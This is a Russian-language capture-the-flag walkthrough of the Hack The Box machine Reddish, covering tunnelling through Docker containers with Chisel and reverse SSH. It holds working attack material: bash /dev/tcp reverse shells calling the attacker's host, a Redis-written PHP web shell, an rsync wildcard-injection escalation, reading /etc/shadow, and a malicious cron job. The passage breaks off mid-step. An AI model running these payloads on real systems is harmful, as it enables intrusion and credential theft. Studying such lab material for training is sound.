Содержание
Что делать, когда тебе нужно захватить контроль над хостом, который находится в другой подсети? Верно — много запутанных туннелей! Сегодня мы рассмотрим техники туннелирования при пентесте — на примере хардкорной виртуалки Reddish (уровень сложности Insane — 8,0 баллов из 10) с CTF-площадки Hack The Box.
Встретимся со средой визуального программирования Node-RED, где в прямом смысле «построим» реверс-шелл; проэксплуатируем слабую конфигурацию СУБД Redis; используем инструмент зеркалирования файлов rsync для доступа к чужой файловой системе; наконец, создадим кучу вредоносных задач cron на любой вкус. Но самое интересное, что управлять хостом мы будем, маршрутизируя трафик по докер-контейнерам через несколько TCP-туннелей. Погнали!
Разведка
В этом разделе соберем побольше информации для проникновения вглубь системы.
Сканирование портов
Расчехляем Nmap — и в бой! Сразу скажу, что дефолтные 1000 портов, которые Nmap сканирует в первую очередь, оказались закрыты. Так что будем исследовать весь диапазон TCP на высокой скорости.
1 2 3 4 5 6 7 8 |
root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p- root@kali:~# cat nmap/tcp-allports.nmap ... Host is up (0.12s latency). Not shown: 65534 closed ports PORT STATE SERVICE 1880/tcp open vsat-control ... |
После полного сканирования, как видишь, откликнулся только один порт — неизвестный мне 1880-й. Попробуем вытащить из него больше информации.
1 2 3 4 5 6 7 |
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880 root@kali:~# cat nmap/tcp-port1880.nmap ... PORT STATE SERVICE VERSION 1880/tcp open http Node.js Express framework |_http-title: Error ... |
Сканер говорит, что на этом порту развернут Express — фреймворк веб-приложений Node.js. А когда видишь приставку «веб» — в первую очередь открываешь браузер…
Веб — порт 1880
Переход на страницу http://10.10.10.94:1880/ выдает лишь скупое сообщение об ошибке.
Есть два пути разобраться, что за приложение висит на этом порту.
- Сохранить значок веб-сайта к себе на машину (обычно они живут по адресу /favicon.ico) и попытаться найти его с помощью Reverse Image Search.
- Спросить у поисковика, с чем обычно ассоциирован порт 1880.
Второй вариант более «казуальный», но столь же эффективный: уже на первой ссылке по такому запросу мне открылась Истина.
Node-RED
Если верить официальному сайту, Node-RED — это среда для визуального программирования, где можно строить связи между разными сущностями (от локальных железок до API онлайн-сервисов). Чаще всего, как я понял, о Node-RED говорят в контексте управления умными домами и вообще девайсами IoT.
Окей, софт мы идентифицировали, но ошибка доступа к веб-странице от этого никуда не делась.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
root@kali:~# curl -i http://10.10.10.94:1880 HTTP/1.1 404 Not Found X-Powered-By: Express Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 139 Date: Thu, 30 Jan 2020 21:53:05 GMT Connection: keep-alive <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /</pre> </body> </html> |
Первое, что приходит в голову, — запустить брутер директорий. Но перед этим попробуем просто поменять запрос с GET на POST.
1 2 3 4 5 6 7 8 9 10 |
root@kali:~# curl -i -X POST http://10.10.10.94:1880 HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 86 ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg" Date: Thu, 30 Jan 2020 22:04:20 GMT Connection: keep-alive {"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"} |
Ну вот и обошлись без брутеров. Как видишь, при обращении к корню веб-сайта через POST сервер возвращает пример того, как должно выглядеть тело запроса. В принципе, до этого можно дойти логически: в документации к API Node-RED тонны именно POST-запросов.
Итак, при переходе по http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/ мы видим следующую картину.
Давай разбираться, что здесь можно наворотить.
Node-RED Flow
Первая ассоциация при виде рабочей области Node-RED — «песочница». И так видно, что эта штука способна на многое, однако нам нужно всего ничего: получить шелл на сервере.
Я пролистал вниз панель «строительных блоков» (или «узлов», как называет их Node-RED) слева и увидел вкладку Advanced — здесь спряталась дорогая сердцу любого хакера функция exec.
Spice must FLOW
В философии Node-RED каждая комбинация, которую ты соберешь в рабочей области, называется «флоу» (он же поток). Потоки можно строить, выполнять, импортировать и экспортировать в JSON. При нажатии на кнопку Deploy сервер (как ни странно) деплоит все потоки со всех вкладок рабочей области.
simple-shell
Попробуем что-нибудь построить, тогда все станет очевидней. Для начала я задеплоил тривиальный шелл.
Разберем картинку по цветам блоков:
- Серый (слева): получение данных на вход. Сервер выполняет обратное подключение к моему IP и привязывает ввод с моей клавиатуры к оранжевому блоку exec.
- Оранжевый: выполнение команд на сервере. Результат работы этого блока поступает на вход второму серому блоку. Обрати внимание: у оранжевого блока есть три выходных «клеммы». Они соответствуют stdout, stderr и коду возврата (который я не стал использовать).
- Серый (справа): отправка выходных данных. Открыв расширенные настройки блока двойным кликом, можно задать особенности его поведения. Я выбрал Reply to TCP, чтобы Node-RED отправлял мне ответы в этом же подключении.
О двух серых блоках можно думать, как о сетевых пайпах, по которым идет INPUT и OUTPUT блока exec. Экспортированный в JSON поток я оставлю у себя на GitHub, чтобы не засорять тело статьи.
Теперь поднимем локального слушателя на Kali и устроим деплой!
Как можно видеть — обыкновенный шелл non-PTY.
beautiful-shell
Конечно, мне было интересно поиграть в такой песочнице, поэтому я собрал еще несколько конструкций.
Это более аккуратный шелл: с ним можно отправлять запрос на подключение «с кнопки» без необходимости редеплоить весь проект (синий), логировать происходящее в веб-интерфейс (зеленый, результат смотри на рисунке ниже) и форматировать вывод команд под свой шаблон (желтый).
Исходник в JSON-ке здесь.
file-upload
Раз такое дело, почему бы не соорудить флоу для заливки файлов на сервер?
Здесь все совсем просто: по нажатию на кнопку Connect сервер подключается к порту 8889 моей машины (где уже поднят листенер с нужным файлом) и сохраняет полученную информацию в скрытый файл /tmp/.file (JSON).
Испытаем этот поток в деле: я запускаю nc на Kali, велю передать скрипт lse.sh для проведения локальной разведки на Linux (я начал его использовать вместо привычного LinEnum.sh), дожидаюсь окончания загрузки и проверяю контрольные суммы обоих копий.
На Kali:
1 2 3 4 |
root@kali:~# nc -lvnp 8889 < lse.sh ... root@kali:~# md5sum lse.sh 7d3a4fe5c7f91692885bbeb631f57c70 lse.sh |
На Node-RED:
1 2 |
root@nodered:/tmp# md5sum .file 7d3a4fe5c7f91692885bbeb631f57c70 .file |
Загрузка файлов из командной строки
Откровенно говоря, описанный подход к трансферу файлов избыточен: весь процесс можно провести, не отходя от терминала.
1 2 |
root@kali:~# nc -w3 -lvnp 8889 < lse.sh root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file' |
reverse-shell
Я не был доволен шеллом, построенным из абстракций Node-RED (некорректно читались некоторые символы, да и вся конструкция выглядела очень ненадежно), поэтому я получил полноценный Reverse Shell.
Сперва я сделал, как показано выше: открыл еще один порт в новой вкладке терминала и вызвал реверс-шелл на Bash по TCP. Но потом я решил упростить себе жизнь на случай, если придется перезапускать сессию, и собрал такой флоу в Node-RED (JSON).
1 2 |
node-red> ls -la /bin/sh lrwxrwxrwx 1 root root 4 Nov 8 2014 /bin/sh -> dash |
1 2 3 4 |
#!/usr/bin/env bash (sleep 0.5; curl -s -X POST http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/inject/7635e880.e6be48 >/dev/null &) rlwrap nc -lvnp 8888 |
У нас есть шелл — самое время разобраться, куда мы попали.
Докер. Контейнер I: nodered
Уже с первых секунд пребывания на сервере становится очевидно, что мы внутри докера, — ведь наш шелл вернулся от имени суперпользователя root.
Это же предположение подтверждает скрипт lse.sh, заброшенный на машину в прошлом параграфе.
А если ты не веришь и ему, можно убедиться в этом лично: в корне файловой системы (далее ФС) существует директория .dockerenv.
root@nodered:/node-red# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv
Если ты оказался в докере, первым делом рекомендуется проверить сетевое окружение — на случай, если это не единичный контейнер в цепочке. В текущей системе отсутствует ifconfig, поэтому информацию о сетевых интерфейсах будем смотреть с помощью ip addr.
Как видно, этот докер может общаться с двумя подсетями: 172.18.0.0/16 и 172.19.0.0/16. В первой подсети контейнер (будем называть его nodered) имеет IP-адрес 172.18.0.2, а во второй — 172.19.0.4. Посмотрим, с какими еще хостами взаимодействовал nodered.
Кеш ARP указывает на то, что nodered знает еще как минимум два хоста: 172.19.0.2 и 172.19.0.3 (хосты .1 не беру во внимание: скорее всего, это шлюзы по умолчанию к хостовой ОС).
Проведем сканирование с целью обнаружения хостов.
Host Discovery
«Пробить» сетевое окружение можно разными способами.
Ping Sweep
Первый способ — написать простой скрипт, который позволит «простучать» всех участников сети техникой Ping Sweep. Идея проста: на каждый хост уровня L2 в сети 172.18.0.0 (или просто 172.18.0.0/24) отправим по одному ICMP-запросу и посмотрим на код возврата. Если успех — выводим сообщение на экран, иначе — ничего не делаем.
1 2 3 |
#!/usr/bin/env bash IP="$1"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done |
В сканируемом участке сети всего может быть 254 хоста (256 минус адрес_сети минус адрес_широковещателя). Чтобы выполнить эту проверку за 1 секунду, а не за 254, запускаем каждый ping в своем шелл-процессе. Это не затратно, так как они будут быстро умирать, а я получу практически мгновенный результат.
1 2 3 |
root@nodered:~# IP="172.18.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done ON: 172.18.0.1 <-- Шлюз по умолчанию для nodered (хост) ON: 172.18.0.2 <-- Докер-контейнер nodered |
При сканировании этой подсетки получили только гейтвей и свой же контейнер. Неинтересно, пробуем 172.19.0.0/24.
1 2 3 4 5 |
root@nodered:~# IP="172.19.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done ON: 172.19.0.1 <-- Шлюз по умолчанию для nodered (хост) ON: 172.19.0.2 <-- ??? ON: 172.19.0.3 <-- ??? ON: 172.19.0.4 <-- Докер-контейнер nodered |
Есть два неизвестных хоста, которые мы вскоре отправимся изучать. Но прежде обсудим еще один способ проведения Host Discovery.
Статический Nmap
Забросим на nodered копию статически скомпилированного Nmap вместе с файлом /etc/services (он содержит ассоциативный маппинг «имя_службы ↔ номер_порта», необходимый для работы сканера) со своей Kali и запустим обнаружение хостов.
1 2 3 4 |
root@nodered:/tmp# ./nmap -n -sn 172.18.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in' Nmap scan report for 172.18.0.1 Nmap scan report for 172.18.0.2 Nmap done: 256 IP addresses (2 hosts up) scanned in 2.01 seconds |
Nmap нашел два хоста в подсети 172.18.0.0/24.
1 2 3 4 5 6 |
root@nodered:/tmp# ./nmap -n -sn 172.19.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in' Nmap scan report for 172.19.0.1 Nmap scan report for 172.19.0.2 Nmap scan report for 172.19.0.3 Nmap scan report for 172.19.0.4 Nmap done: 256 IP addresses (4 hosts up) scanned in 2.02 seconds |
И четыре хоста в подсети 172.19.0.0/24. Всё в точности, как и при ручном Ping Sweep.
Сканирование неизвестных хостов
Чтобы выяснить, какие порты открыты на двух неизвестных хостах, можно снова написать такой однострочник на Bash.
1 2 3 |
#!/usr/bin/env bash IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done |
Работать он будет примерно так же, как и ping-sweep.sh, только вместо команды ping здесь отправляется тестовый символ прямиком на сканируемый порт. Но зачем так извращаться, когда у нас уже есть Nmap?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.2 -p- ... Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. ... Host is up (0.00017s latency). Not shown: 65534 closed ports PORT STATE SERVICE 6379/tcp open unknown ... root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.3 -p- ... Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. ... Host is up (0.00013s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http ... |
Обнаружили два открытых порта — по одному на каждый неизвестный хост. Сперва подумаем, как можно добраться до веба на 80-м, а потом перейдем к порту 6379.
Туннелирование… как много в этом звуке
Чтобы добраться до удаленного 80-го порта, придется строить туннель от своей машины до хоста 172.19.0.3. Сделать это можно поистине неисчисляемым количеством способов, например:
- использовать функционал Metasploit и пробросить маршрут через meterpreter-сессию;
- инициировать соединение Reverse SSH, где в качестве сервера будет выступать машина атакующего, а в качестве клиента — контейнер nodered;
- задействовать сторонние приложения, предназначенные для настройки туннелей между узлами.
Еще, наверное, можно воспользоваться песочницей Node-RED и придумать такой флоу, который осуществлял бы маршрутизацию трафика от атакующего до неизвестных хостов, но… Хотел бы я посмотреть на смельчака, что этим займется.
Первый пункт с Metasploit мы рассматривали в предыдущей статье, поэтому повторяться не будем. Второй пункт мы тоже затрагивали, но речь там шла про тачки на Windows, а у нас же линуксы… Посему план такой: сперва я быстро покажу способ реверсивного соединения с помощью SSH, а дальше перейдем к специальному софту для туннелирования.
Reverse SSH (пример)
Для создания обратного SSH-туннеля нужен переносной клиент — чтобы разместить его на nodered. Именно таким клиентом является dropbear от австралийского разработчика Мэта Джонсона.
Скачаем исходные коды с домашней страницы его создателя и скомпилируем клиент статически у себя на машине.
1 2 3 4 5 |
root@kali:~# wget https://matt.ucc.asn.au/dropbear/dropbear-2019.78.tar.bz2 root@kali:~# tar xjvf dropbear-2019.78.tar.bz2 && cd dropbear-2019.78 root@kali:~/dropbear-2019.78# ./configure --enable-static && make PROGRAMS='dbclient dropbearkey' root@kali:~/dropbear-2019.78# du -h dbclient 1.4M dbclient |
Размер полученного бинарника — 1,4 Мбайта. Можно уменьшить его почти в три раза двумя простыми командами.
1 2 3 4 |
root@kali:~/dropbear-2019.78# make strip root@kali:~/dropbear-2019.78# upx dbclient root@kali:~/dropbear-2019.78# du -h dbclient 520K dbclient |
Сперва я срезал всю отладочную информацию с помощью Makefile, а затем сжал бинарь упаковщиком исполняемых файлов UPX.
Теперь сгенерируем пару «открытый/закрытый ключ» с помощью dropbearkey и дропнем клиент и закрытый ключ на nodered.
1 2 3 4 5 |
root@kali:~/dropbear-2019.78# ./dropbearkey -t ecdsa -s 521 -f .secret Generating 521 bit ecdsa key, this may take a while... Public key portion is: ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAA2TCQk3VTYCX/hZjMmXT0/A27f5EOKQY4FbXcYeNWXIPLFQOOLnQFWbAjBa9qOUdmwOipVvDwXnvt6hEmwitflvQEIw9wHQ4spUAqs/0CR6AoiTT3w7v6CAX/uq0u2oS7gWf9SPy/Npz8Ond6XJKh+d0QPXz0uQrq0wyprCYo+g/OiEA== root@kali Fingerprint: sha1!! ef:6a:e8:e0:f8:49:f3:cb:67:34:5d:0b:f5:cd:c0:e5:8e:49:28:41 |
Все, SSH-клиент вместе с 521-битный приватным ключом (на эллиптике) улетели в контейнер. Теперь создадим фиктивного пользователя с шеллом /bin/false, чтобы не подставлять свою машину — вдруг кто-то наткнется на закрытый ключ?
1 2 3 4 5 6 |
root@kali:~# useradd -m snovvcrash root@kali:~# vi /etc/passwd ... Меняем шелл юзера snovvcrash на "/bin/false" ... root@kali:~# mkdir /home/snovvcrash/.ssh root@kali:~# vi /home/snovvcrash/.ssh/authorized_keys ... Копируем открытый ключ ... |
Все готово, можно пробрасывать туннель.
root@nodered:/tmp# ./dbclient -f -N -R 8890:172.19.0.3:80 -i .secret -y snovvcrash@10.10.14.19
- -f — свернуть клиент в бэкграунд после аутентификации на сервере;
- -N — не выполнять команды на сервере и не запрашивать шелл;
- -R 8890:172.19.0.3:80 — слушать localhost:8890 на Kali и перенаправлять все, что туда попадет, на 172.19.0.3:80;
- -i .secret — аутентификация по приватному ключу .secret;
- -y — автоматически добавлять хост с отпечатком его открытого ключа в список доверенных.
На Kali можно проверить успешность создания туннеля с помощью каноничного netstat или его новомодной альтернативы ss.
1 2 3 4 5 |
root@kali:~# netstat -alnp | grep LIST | grep 8890 tcp 0 0 127.0.0.1:8890 0.0.0.0:* LISTEN 236550/sshd: snovvc tcp6 0 0 ::1:8890 :::* LISTEN 236550/sshd: snovvc root@kali:~# ss | grep 1880 tcp ESTAB 0 0 10.10.14.19:43590 10.10.10.94:1880 |
Открываем браузер — и на localhost:8890 находим тот самый эндпоинт, маршрут к которому мы прокладывали.
It works! Видеть такие надписи мне однозначно нравится.
Как я и говорил, это всего лишь пример. Дальше для продвижения по виртуалке Reddish мы будем пользоваться клиент-сервером Chisel.
Chisel
Быстрые TCP-туннели от Chisel. Транспортировка по HTTP. Безопасность по SSH. Мы наш, мы новый мир построим
Ладно, возможно, разработчик описывает свой софт чуть менее пафосно, но у меня в голове оно прозвучало именно так.
А если серьезно, то Chisel — это связка «клиент + сервер» в одном приложении, написанном на Go, которое позволяет прокладывать защищенные туннели в обход ограничений файрвола. Мы будем использовать Chisel, чтобы настроить реверс-коннект с контейнера nodered до Kali. По большому счету, его функционал близок к туннелированию посредством SSH — даже синтаксис команд похож.
Чтобы не запутаться в хитросплетениях соединений, я буду вести сетевую «карту местности». Пока у нас есть информация только о nodered и www.
Загрузим и соберем Chisel на Kali.
1 2 3 4 |
root@kali:~# git clone http://github.com/jpillora/chisel && cd chisel root@kali:~/chisel# go build root@kali:~/chisel# du -h chisel 12M chisel |
Объем 12 Мб — это немало в условии транспортировки исполняемого файла на машину-жертву. Хорошо бы так же сжать бинарник, как мы делали это с dropbear: с помощью флагов линковщика -ldflags уберем отладочную информацию, а затем упакуем файл в UPX.
1 2 3 4 |
root@kali:~/chisel# go build -ldflags='-s -w' root@kali:~/chisel# upx chisel root@kali:~/chisel# du -h chisel 3.2M chisel |
Класс, теперь перенесем chisel в контейнер и создадим туннель.
1 |
root@kali:~/chisel# ./chisel server -v -reverse -p 8000 |
Первым действием поднимаем сервер на Kali, который слушает активность на 8000-м порту (-p 8000) и разрешает создавать обратные подключения (-reverse).
1 |
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8890:172.19.0.3:80 & |
Теперь подключаемся к этому серверу с помощью клиента на nodered. Команда выше откроет 8890-й порт на Kali (флаг R), через который трафик будет попадать в 80-й порт хоста 172.19.0.3. Если не указать сетевой интерфейс на обратном соединении явно (в данном случае 127.0.0.1), то будет использован 0.0.0.0.
Это означает, что любой участник сети сможет юзать нашу машину для общения с 172.19.0.3:80. Нас это не устраивает, так что приходится вручную прописывать 127.0.0.1. В этом отличие от дефолтного SSH-клиента, где по умолчанию всегда будет использован 127.0.0.1.
Исследование веб-сайта
Если открыть localhost:8890 в браузере, нас снова встретит радостная новость, что «it works!». Это мы уже видели, поэтому откроем сорцы веб-странички в поисках интересного кода.
Целиком исходник вставлять не буду, только скриншот с интересными моментами.
Комментарий (синим) гласит, что где-то существует контейнер с базой данных, у которой есть доступ к сетевой папке этого сервера. Аргументы функции test (красным) в совокупности с упоминанием некой базы данных напоминают команды GET и INCR в NoSQL-СУБД Redis. С примерами тестовых запросов через ajax можно поиграть в браузере и убедиться, что они и правда работают — в отличие от еще не реализованной функции backup.
Пока все сходится — и, сдается мне, я знаю, где искать Redis: как ты помнишь, у нас оставался еще один неопознанный хост с открытым 6379-м портом… Как раз самым что ни на есть дефолтным портом для Redis.
Redis
Пробросим еще один обратный туннель на Kali, который будет идти к порту 6379.
1 |
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:6379:172.19.0.3:6379 & |
Всё — можно стучаться в гости к Redis со своей машины. К примеру, просканируем 6379-й порт с помощью Nmap — благо теперь у нас есть весь арсенал NSE для идентификации сервисов. Не забываем о флаге -sT — ведь сырые пакеты не умеют ходить через туннели.
1 2 3 4 5 |
root@kali:~# nmap -n -Pn -sT -sV -sC localhost -p6379 ... PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ... |
Как предлагают в этом посте, проверим, нужна ли авторизация для взаимодействия с БД.
Похоже, что нет — значит, можно дальше раскручивать этот вектор. Я не буду инжектить свой открытый ключ в контейнер для подключения по SSH, как советуют на Packet Storm (потому что нет самого SSH), — но зато никто не запрещает залить веб-шелл в расшаренную папку веб-сервера.
Общаться с СУБД можно в простом подключении netcat/telnet, однако круче скачать и собрать нативный CLI-клиент из исходников самой базы данных.
1 2 3 4 5 |
root@kali:~# git clone https://github.com/antirez/redis && cd redis root@kali:~/redis# make redis-cli root@kali:~/redis# cd src/ root@kali:~/redis/src# file redis-cli redis-cli: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e92b4603099564577d4027ba5fd7f20da68230, for GNU/Linux 3.2.0, with debug_info, not stripped |
Удостоверимся, что все работает, — попробуем команды, которые мы видели в сорцах веб-страницы.
Отлично, теперь можно сделать нечто более зловредное, а именно — записать веб-шелл в
1 |
/var/www/html/ |
Для этого нужно:
- очистить ключи для всех БД;
- создать в новой БД новую пару <ключ>, <значение> с веб-шеллом в качестве значения;
- задать имя новой БД;
- задать путь для сохранения новой БД;
- сохранить файл новой БД.
Напишем скрипт на Bash, который будет «проигрывать» эти пять шагов выше. Автоматизация нужна: вскоре мы выясним, что веб-директория очищается каждые три минуты.
1 2 3 4 5 6 7 |
#!/usr/bin/env bash ~/redis/src/redis-cli -h localhost flushall ~/redis/src/redis-cli -h localhost set pwn '<?php system($_REQUEST['cmd']); ?>' ~/redis/src/redis-cli -h localhost config set dbfilename shell.php ~/redis/src/redis-cli -h localhost config set dir /var/www/html/ ~/redis/src/redis-cli -h localhost save |
Скрипт отработал успешно, поэтому можно открыть браузер — и после перехода по адресу:
1 |
http://localhost:8890/shell.php?cmd=whoami |
Получить такой ответ.
Таким образом, у нас есть RCE в контейнере 172.19.0.3 (будем называть его www, ведь он сам так представился).
Раз есть RCE, неплохо было бы получить шелл.
Докер. Контейнер II: www
Неплохо бы, да вот есть одно но: хост www умеет общаться только с nodered, а напрямую связаться с Kali он не может. Значит, будем создавать очередной туннель (третий по счету) поверх существующего обратного — и через него ловить callback от www на Kali. Новый туннель будет прямым (или «локальным»).
1 |
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 7001:127.0.0.1:9001 & |
Что здесь произошло: мы подключились к серверу 10.10.14.19:8000 и вместе с этим проложили туннель, который берет начало в 7001-м порту контейнера nodered, а заканчивается в 9001-м порту ВМ Kali. Теперь все, что попадет в интерфейс 172.19.0.4:7001, будет автоматически перенаправлено на машину атакующего по адресу 10.10.14.19:9001. То есть мы сможем собрать реверс-шелл и в качестве цели (RHOST:RPORT) указать контейнер 172.19.0.4:7001, а отклик придет уже на локальную (LHOST:LPORT) тачку 10.10.14.19:9001. Элементарно, Ватсон!
Я добавил две дополнительные строки в скрипт pwn-redis.sh: «отправить шелл» и «запустить слушателя на порт 9001».
1 2 3 |
... (sleep 0.1; curl -s -X POST -d 'cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.4%2F7001%200%3E%261%27' localhost:8890/shell.php >/dev/null &) rlwrap nc -lvnp 9001 |
Пейлоад для curl закодирован в Percent-encoding, чтобы не мучиться с «плохими» символами. Вот так он выглядит в «человеческом» виде.
1 |
bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1' |
Теперь в одно действие получаем сессию на www.
Предлагаю осмотреться.
Во-первых, этот контейнер также имеет доступ в две подсети: 172.19.0.0/16 и 172.20.0.0/16.
В корне файловой системы — интересная директория /backup, которая встречается довольно часто на виртуалках Hack The Box (да и в реальной жизни тоже). Внутри — скрипт backup.sh со следующим содержимым.
1 2 3 4 5 |
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b rsync -a *.rdb rsync://backup:873/src/rdb/ cd / && rm -rf /var/www/html/* rsync -a rsync://backup:873/src/backup/ /var/www/html/ chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b |
Здесь мы видим:
- обращение к пока неизвестному нам хосту backup;
- использование rsync, чтобы бэкапить все файлы с расширением .rdb (файлы БД Redis) на удаленный сервер backup;
- использование rsync для восстановления резервной копии (которая также находится где-то на сервере backup) содержимого /var/www/html/.
Думаю, уязвимость видна невооруженным глазом (мы уже делали что-то подобное с 7z): админ юзает * (2-я строка) для обращения ко всем rdb-файлам. А поскольку в арсенале rsync есть флаг для выполнения команд, хакер может создать скрипт с особым именем, идентичным синтаксису для триггера команд, и выполнять какие угодно действия от имени того, кто запускает backup.sh.
Могу поспорить, что скрипт выполняется по планировщику cron.
Класс, значит, он будет выполнен от имени root! Приступим к эксплуатации.
Эскалация до root
Сперва в директори:
1 |
/var/www/html/f187a0ec71ce99642e4f0afbd441a68b |
Создадим файл pwn-rsync.rdb — с обычным реверс-шеллом, которые мы сегодня видели уже сотню раз.
1 |
bash -c 'bash -i >& /dev/tcp/172.19.0.4/1337 0>&1' |
После там же создадим еще один файл с оригинальным именем -e bash pwn-rsync.rdb. Вот как выглядит листинг директории сетевой шары в момент перед получением шелла:
1 2 3 |
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -e bash pwn-rsync.rdb pwn-rsync.rdb |
Осталось открыть новую вкладку терминала — и дождаться запуска задания cron.
И вот у нас есть root-шелл!
Больше туннелей!
Как ты понимаешь, отклик реверс-шелла я отправил в контейнер nodered, а ловил его на Kali. Для этого я предварительно пробросил еще один локальный туннель на 1337-м порту с nodered на свою машину.
1 |
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 & |
Теперь можно честно забрать хеш юзера.
Но это всего лишь пользовательский флаг, а мы по-прежнему находимся внутри docker. Что же теперь?
Докер. Контейнер III: backup
Устройство скрипта для создания резервных копий должно навести на мысль: каким образом проходит аутентификация на сервере backup? И ответ такой: да, в общем-то, никаким. Доступ к файловой системе этого контейнера может получить любой, кто сумеет дотянуться по сети до www.
Мы уже видели вывод ip addr для www и поняли, что у этого контейнера есть доступ в подсеть 17.20.0.0/24, однако конкретный адрес сервера backup нам все еще неизвестен. Можно предположить, что его IP 17.20.0.2 — по аналогии с раскладом остальных узлов сети.
Поищем подтверждение нашему предположению. В файле /etc/hosts нет информации о принадлежности сервера backup, однако узнать его адрес можно еще одним способом: отправим всего один ICMP-запрос с www до backup.
1 2 |
www-data@www:/$ ping -c1 backup ping: icmp open socket: Operation not permitted |
Делать это нужно из привилегированного шелла, потому что у юзера www-data не хватает прав для открытия нужного сокета.
1 2 3 4 5 6 7 |
root@www:~# ping -c1 backup PING backup (172.20.0.2) 56(84) bytes of data. 64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms --- backup ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms |
Таким нехитрым способом мы убедились, что адрес backup — 172.20.0.2. Дополним карту сетевых взаимодействий.
Теперь вернемся к рассуждению выше: у нас есть доступ к www и есть rsync без аутентификации (на 873-м порту) — следовательно, у нас есть права на чтение/запись в файловую систему backup.
Например, я могу просмотреть корень ФС backup.
1 2 |
www-data@www:/tmp$ rsync rsync://backup:873/src/ ... |
Или прочитать файл shadow.
1 2 3 |
www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow . www-data@www:/tmp$ cat shadow ... |
А также записать любой файл в любую директорию на backup.
1 2 3 |
www-data@www:/tmp$ echo 'HELLO THERE' > .test www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/ -rw-r--r-- 12 2020/02/02 16:25:49 .test |
Попробуем таким образом получить шелл: я создам вредоносную задачу cron с реверс-шеллом, запишу ее в /etc/cron.d/ на сервере backup и поймаю отклик на Kali. Но у нас очередная проблема сетевой доступности: backup умеет говорить только с www, а www только с nodered… Да, ты правильно понимаешь, придется строить цепочку туннелей: от backup до www, от www до nodered и от nodered до Kali.
Получение root-шелла
Следуя принципам динамического программирования, декомпозируем сложную задачу на две простые подзадачи, а в конце объединим результаты.
- Пробрасываем локальный порт 1111 из контейнера nodered до порта 8000 на Kali, где работает сервер Chisel. Это позволит нам обращаться к 172.19.0.4:1111 как к серверу Chisel на Kali.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &
- Вторым шагом настроим переадресацию с www на Kali. Для этого подключимся к 172.19.0.4:1111 (так же, как если бы мы могли подключиться к Kali напрямую) и пробросим локальный порт 2222 до порта 3333 на Kali.
1 |
www-data@www:/tmp$ ./chisel client 172.19.0.4:1111 2222:127.0.0.1:3333 & |
Примечание
Для некоторых утилитарных целей (например, доставить исполняемый файл chisel в контейнер www), было открыто еще 100500 вспомогательных туннелей — их описание я не стал включать в текст прохождения и добавлять на сетевую карту, чтобы не запутывать читателя еще больше.
Остается создать реверс-шелл, cron-задачу, залить это все на backup, дождаться запуска cron и поймать шелл на Kali. Сделаем же это.
Создаем шелл.
1 2 3 |
root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh root@www:/tmp# cat shell.sh bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1' |
Создаем cronjob, который будет выполняться каждую минуту.
1 |
root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell |
Заливаем оба файла на backup с помощью rsync.
1 2 |
